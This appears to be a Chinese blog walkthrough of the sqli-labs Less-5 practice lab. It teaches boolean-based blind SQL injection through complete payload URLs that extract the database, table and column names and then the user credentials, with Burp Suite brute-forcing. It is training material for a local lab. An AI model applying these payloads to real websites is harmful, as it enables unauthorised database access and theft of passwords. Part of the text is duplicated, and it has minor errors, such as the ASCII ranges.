一.判断有无注入点及注入类型:
127.0.0.1/sqlilabs/Less-5/?id=1
127.0.0.1/sqlilabs/Less-5/?id=1'(这里可以看到页面显示sql语句报错信息,基本可以判定为'闭合)![](https://img-blog.csdnimg.cn/f6136a33fbe5446ab5f8707dab6f4a65.png)
补全后查看页面效果(1=1时有返回页面,1=2时无返回页面,无报错信息,符合页面布尔类型状态,尝试使用布尔型注入)
1.页面没有回显不能用联合查询(order by、union select ),页面没有报错信息不能用报错注入。
2.页面布尔类型状态:页面无回显且无报错信息。
127.0.0.1/sqlilabs/Less-5/?id=1' -- +
127.0.0.1/sqlilabs/Less-5/?id=1' and 1=1 -- +
127.0.0.1/sqlilabs/Less-5/?id=1' and 1=2 -- +
猜测数据库长度:
127.0.0.1/sqlilabs/Less-5/?id=1' and length(database())=1 -- +
(若是猜错,没有返回页面)
127.0.0.1/sqlilabs/Less-5/?id=1' and length(database())=8 -- +
(猜对返回You are in 页面)由此可知数据库长度为8
二、猜测数据库长度、名称:
substr函数:
substr(str,pos,len)
str:待截取的字符串
pos:开始截取的位置
len:截取字符串长度
ag:
substr(abc,1,2):从abc第一位开始截取,截取长度为2,因此结果为ab
与之用法类似的函数有Mid(abc,1,2)、substring(abc,1,2)
127.0.0.1/sqlilabs/Less-5/?id=1' and substr(database(),1,1)='a' -- +
(猜错无返回页面)
127.0.0.1/sqlilabs/Less-5/?id=1' and substr(database(),1,1)='s' -- +
(猜对返回页面You are in)
此处可以使用burpsuite工具进行爆破,方法如下:
打开burpsuite,开启代理拦截
输入127.0.0.1/sqlilabs/Less-5/?id=1' and substr(database(),1,1)='a' -- +
将截取到的数据做如下操作:
1.清除变量clear$
2.为数据破解位置添加变量
有效载荷设置:(数字0-9可不加)
选项中的线程选择30:
开始爆破(选择特殊长度并点击响应,下方会显示页面返回效果You are in),由此可确定数据库的第一个字母为‘s’。
爆破第二个数据库字母
127.0.0.1/sqlilabs/Less-5/?id=1' and substr(database(),2,1)='a' -- +
用这种方法可以将此数据库名爆破出来,为security。
三、猜测表名的长度、名称:
limit函数:
select * from user limit (0),10 //当索引为0时,可以省略
select * from user limit 0,10 //查询十条数据,索引从0到9,数据从1到10
select * from user limit 5,8 //查询八条数据,索引从5到12,数据从6到13
猜测第一张表名长度:
127.0.0.1/sqlilabs/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=4 -- +
(select table_name from information_schema.tables where table_schema='security' limit 0,1):查询security数据库中的第一条数据(第一张表),再加上length为查询第一条数据长度(表名长度)
若为limit 1,1 则为查询数据库security中的第二条数据(第二张表),length后跟此表名的猜测数据长度(表名长度)。
猜测错误则无返回页面
127.0.0.1/sqlilabs/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6 -- +
由此可得到第一张表的长度为6
猜测第一张表的名称
ascii()函数:返回字符的ascii码【将字符变为数字】
ascii编码中65-90为大写字母A-Z,91-122为小写字母a-z
ascii(115) :返回115 与ord()函数用法一致
127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=100 -- +
(select table_name from information_schema.tables where table_schema='security' limit 0,1) :此条语句为查找security中的第一张表信息
(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1):此条语句为查找第一张表的名字第一个字母
ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=100 :整条语句就是将第一张表的首字母转化为数字,看是否有页面返回,若有则猜测正确。
//也可以使用猜数据库名称的方法不适用ascii()函数,此语句为:
127.0.0.1/sqlilabs/Less-5/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a' -- +
猜测错误无返回信息
127.0.0.1/sqlilabs/Less-5/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e' -- +
成功则返回You are in
可以得到第一个字母为e,也可以使用burp suite爆破(方法同上面一样)
通过改变substr()函数的参数可以将第一张表的表名得出,通过改变limit()函数的参数可以且换到第二张、第三张表,两者结合可以将security中的表名得出,最后的表名共有emails、referers、uagents、users四张表。
四、猜测列名的长度及名称:
127.0.0.1/sqlilabs/Less-5/?id=1' and length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1))=8 -- +
此语句的意思为:猜测security下users表下的第二列列名长度是否为8
(第一列列名为id (limit 0,1)比较容易求出,这里使用第二列做实例)
猜测第二列列名称的第一个字母
127.0.0.1/sqlilabs/Less-5/?id=1' and substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1)='u' -- +
通过爆破可以将users下的列名全部得出,分别为id,username,password
五、猜测数据的长度及名称:
127.0.0.1/sqlilabs/Less-5/?id=1' and length((select username from security.users limit 0,1))=4 -- +
可以得出security数据库下的users表中的username列的第一列数据长度为4
猜测第一列列名
127.0.0.1/sqlilabs/Less-5/?id=1' and substr((select username from security.users limit 0,1),1,1)='D'-- +
也可以使用爆破
第一给username为dump
目录
127.0.0.1/sqlilabs/Less-5/?id=1
127.0.0.1/sqlilabs/Less-5/?id=1'(这里可以看到页面显示sql语句报错信息,基本可以判定为'闭合)编辑
补全后查看页面效果(1=1时有返回页面,1=2时无返回页面,无报错信息,符合页面布尔类型状态,尝试使用布尔型注入)
1.页面没有回显不能用联合查询(order by、union select ),页面没有报错信息不能用报错注入。
127.0.0.1/sqlilabs/Less-5/?id=1' -- +
127.0.0.1/sqlilabs/Less-5/?id=1' and 1=1 -- +
127.0.0.1/sqlilabs/Less-5/?id=1' and 1=2 -- +
127.0.0.1/sqlilabs/Less-5/?id=1' and length(database())=1 -- +
127.0.0.1/sqlilabs/Less-5/?id=1' and length(database())=8 -- +
(猜对返回You are in 页面)由此可知数据库长度为8
substr(abc,1,2):从abc第一位开始截取,截取长度为2,因此结果为ab
与之用法类似的函数有Mid(abc,1,2)、substring(abc,1,2)
127.0.0.1/sqlilabs/Less-5/?id=1' and substr(database(),1,1)='a' -- +
127.0.0.1/sqlilabs/Less-5/?id=1' and substr(database(),1,1)='s' -- +
输入127.0.0.1/sqlilabs/Less-5/?id=1' and substr(database(),1,1)='a' -- +
开始爆破(选择特殊长度并点击响应,下方会显示页面返回效果You are in),由此可确定数据库的第一个字母为‘s’。
127.0.0.1/sqlilabs/Less-5/?id=1' and substr(database(),2,1)='a' -- +
可以得到第一个字母为e,也可以使用burp suite爆破(方法同上面一样)
通过爆破可以将users下的列名全部得出,分别为id,username,password
使用同样的方法可以求出username下的所有用户名称和password下的密码,到此就结束咯!